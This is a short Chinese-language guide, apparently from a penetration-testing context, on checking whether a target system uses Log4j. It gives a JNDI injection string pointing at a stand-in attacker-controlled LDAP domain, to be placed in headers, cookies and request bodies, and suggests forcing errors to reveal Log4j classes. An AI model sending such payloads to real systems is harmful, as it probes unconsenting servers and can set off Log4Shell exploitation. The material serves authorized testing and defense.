### 如何判断靶标是否使用 Log4j

通过构造特殊请求，观察目标系统的反应

1. 利用 JNDI 注入: 这是最经典的 Log4j 漏洞探测方法。在 HTTP 请求的各个位置（如 `User-Agent`、`X-Api-Key`、`Cookie`、POST 请求体等）注入一个 JNDI 字符串，并指向一个你可以控制的域名。

   - 构造一个 DNS 请求：例如 `${jndi:ldap://your-domain.com/a}`

   - 原理: 如果目标使用了 Log4j 且存在漏洞，它会解析这个字符串，并向你的域名发送一个 DNS 查询请求

   - 判断: 你只需要在你的服务器上监听 DNS 请求。如果收到了来自目标 IP 的 DNS 请求，那就说明它解析了你的 Payload，很可能使用了 Log4j

2. 报错信息分析: 构造一个会触发应用错误的请求，并观察返回的错误信息

   - 例如: 在请求参数中输入一些特殊字符，让程序抛出异常。如果错误堆栈中出现了 `org.apache.logging.log4j` 或其他相关的类名，则可以确认

   - 这种方法需要目标系统配置为显示详细的错误信息，这在生产环境中并不常见，但在开发或测试环境中可能有效